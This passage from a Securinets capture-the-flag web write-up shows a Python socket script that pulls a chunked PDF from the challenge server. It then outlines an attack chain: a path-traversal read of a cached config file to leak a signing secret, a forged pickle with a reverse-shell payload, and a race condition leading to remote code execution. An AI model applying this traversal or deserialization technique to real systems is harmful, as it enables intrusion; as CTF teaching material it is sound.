    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))
    print("supposed connected")
    sock.sendall(req1.encode('utf-8'))
    data1 = sock.recv(4096).decode()
    print("data1 \n", data1)
    print("----------")

    sock.sendall(req2.encode('utf-8'))
    data = sock.recv(8192)

    print("data",data)

    sock.sendall(req2.encode('utf-8'))
    data = sock.recv(8192)

    print("data2",data)
    a = []
    #print(sock.recv(8192))
    start = False
    while (x:=sock.recv(2048)) != b"":
        if b"PDF-" in x:
            x = x[x.find(b"%PDF-"):]
            start = True
        if start:
            a.append(x)
        else:
            print(x)
    #print(a) 
    # print(sock.recv(8192))
    
    # print(sock.recv(2048))
    # print(sock.recv(2048))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    # print(sock.recv(1024))
    sock.shutdown(socket.SHUT_RDWR)
    sock.close()
    #data = b'%PDF-1.4\n\r\n40\r\n%\x93\x8c\x8b\x9e ReportLab Generated PDF document http://www.reportlab.com\n\r\n8\r\n1 0 obj\n\r\n3\r\n<<\n\r\n1e\r\n/F1 2 0 R /F2 3 0 R /F3 4 0 R\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n2 0 obj\n\r\n3\r\n<<\n\r\n56\r\n/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n3 0 obj\n\r\n3\r\n<<\n\r\n5b\r\n/BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding /Name /F2 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n4 0 obj\n\r\n3\r\n<<\n\r\n54\r\n/BaseFont /Courier /Encoding /WinAnsiEncoding /Name /F3 /Subtype /Type1 /Type /Font\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n5 0 obj\n\r\n3\r\n<<\n\r\n46\r\n/Contents 9 0 R /MediaBox [ 0 0 792 612 ] /Parent 8 0 R /Resources <<\n\r\n3c\r\n/Font 1 0 R /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ]\n\r\n17\r\n>> /Rotate 0 /Trans <<\n\r\n1\r\n\n\r\n4\r\n>> \n\r\ne\r\n  /Type /Page\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n6 0 obj\n\r\n3\r\n<<\n\r\n2f\r\n/PageMode /UseNone /Pages 8 0 R /Type /Catalog\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n7 0 obj\n\r\n3\r\n<<\n\r\nc2\r\n/Author (\\(anonymous\\)) /CreationDate (D:20230806025432+00\'00\') /Creator (\\(unspecified\\)) /Keywords () /ModDate (D:20230806025432+00\'00\') /Producer (ReportLab PDF Library - www.reportlab.com) \n\r\n44\r\n  /Subject (\\(unspecified\\)) /Title (\\(anonymous\\)) /Trapped /False\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n8 0 obj\n\r\n3\r\n<<\n\r\n26\r\n/Count 1 /Kids [ 5 0 R ] /Type /Pages\n\r\n3\r\n>>\n\r\n7\r\nendobj\n\r\n8\r\n9 0 obj\n\r\n3\r\n<<\n\r\n34\r\n/Filter [ /ASCII85Decode /FlateDecode ] /Length 619\n\r\n3\r\n>>\n\r\n7\r\nstream\n\r\n275\r\nGasIe9p;&#%)(h*ka6O*A\'@H[qUWtkp95S**=#h9$T>t4$3.`&%D-=AdZME1M\'kG(gYi^:EVIZrJ<(SPY8hcmfam$2-AH=I?aA5N\'q^l*\'G=/ObQTWNPq+EGYFVnp_(Hma!He]S&&&K2]*.#\'"fsr_9f\'X6;lJkBI*f/?D.V[qC/&nu#MDnohS[6B"]"QGp=C!ulDF>8)[)Z&p2n[tG\'ju"#pVuT^_@/q_KBM88Xr5"k!J4&LJ"n*ZpuO?C5bUd8"0MED9"2*hBJgkD9>HQA^;PgF70o:o4lm#Zq-5(-t7mV=m0NhSKfX#gE_Vbi?4VZ1P/HG7T$\'OC]iXIlZ3Xjl8Ol\\h$P21$JC@(=>\'3?@Lc_(;R]3STjcm#[PapoF^*W9WG3tWd9PlBI<6d.eNiGF7!%=@LrVGSqECh9GX1]47BOU3C2IV/,8EZ.*rT`lL1,<Tj@Re.7HCWY-\\lC"9Z[-5:Xe:rThj#Mq"W^_lH7NUNDf<pr+qWN@?4!)P$40Oo8OaW>.X"_lpQoq(umf&]k0I>.J[8X,T2BdOV>g_lAQ\'B08X@`0Elkq:\\W0aH,\'"=-4IT,V4_M?nV7pt-eQg\'MTrr^f5e$`rZYbC#;ErFjT~>endstream\n\r\n7\r\nendobj\n\r\n5\r\nxref\n\r\n5\r\n0 10\n\r\n14\r\n0000000000 65535 f \n\r\n14\r\n0000000073 00000 n \n\r\n14\r\n0000000124 00000 n \n\r\n14\r\n0000000231 00000 n \n\r\n14\r\n0000000343 00000 n \n\r\n14\r\n0000000448 00000 n \n\r\n14\r\n0000000641 00000 n \n\r\n14\r\n0000000709 00000 n \n\r\n14\r\n0000000992 00000 n \n\r\n14\r\n0000001051 00000 n \n\r\n8\r\ntrailer\n\r\n3\r\n<<\n\r\n5\r\n/ID \n\r\n47\r\n[<43143a1b321f0a753a89d946df872565><43143a1b321f0a753a89d946df872565>]\n\r\n48\r\n% ReportLab generated PDF document -- digest (http://www.reportlab.com)\n\r\n1\r\n\n\r\nc\r\n/Info 7 0 R\n\r\nc\r\n/Root 6 0 R\n\r\n9\r\n/Size 10\n\r\n3\r\n>>\n\r\na\r\nstartxref\n\r\n5\r\n1760\n\r\n6\r\n%%EOF\n\r\n0\r\n\r\n'.replace(b'\r\n', b'')
    data= b''.join(a).replace(b'\r\n', b'')
    print(data)

    it = 0
    idx = data.find(b'\n')
    parsed = data[:idx+1]
    data = data[idx:]

    while (idx := data.find(b'\n')) != -1:
        print("parsed", parsed)
        data = data[idx+1:]
        print("data", data[:50])
        offsetEnd = 1
        offset = int(b"0x"+data[:offsetEnd], 16)
        if offset == 0:
            break
        while data[offsetEnd:][offset-1] != 10:
            #print(data[offsetEnd:])
            #print(offset, data[offsetEnd:][offset])
            offsetEnd += 1
            offset = int(b"0x"+data[:offsetEnd], 16)
        print("toadd", data[offsetEnd:][:offset])
        parsed += data[offsetEnd:][:offset]
        
        print(parsed)
        it +=1
        if it == 2:
            pass

    if os.path.exists("output_sol.pdf"):
        os.remove("output_sol.pdf")
    with open('output_sol.pdf', 'wb') as f:
        f.write(parsed)

if __name__ == "__main__":
    main('20.197.61.105:80')

Story made short, now you have LFI to leak secret used for signing mechanism.
from ../../../../../../../usr/src/app/config/__pycache__/config.cpython-37.pyc as the file config.py gets deleted at runtime, but generates pycache file with predictable path.

Now we are free to construct our pickled file with reverse shell payload, sign it with secret, trigger race condition, generate a report to trigger deserialization and BOOOM RCE!

Securinets{Race_The_token_smuggling_varnish_and_piiiickle_RCE}

Conclusion

I really appreciated the amount of great feedback i received for these tasks from top CTF web players, looking forward to contribute more in the future with web tasks.
Kudos To my team mate m0ngi for his continous support to me through my cybersec journey ! (The one from which i learned the real meaning of sharing is caring).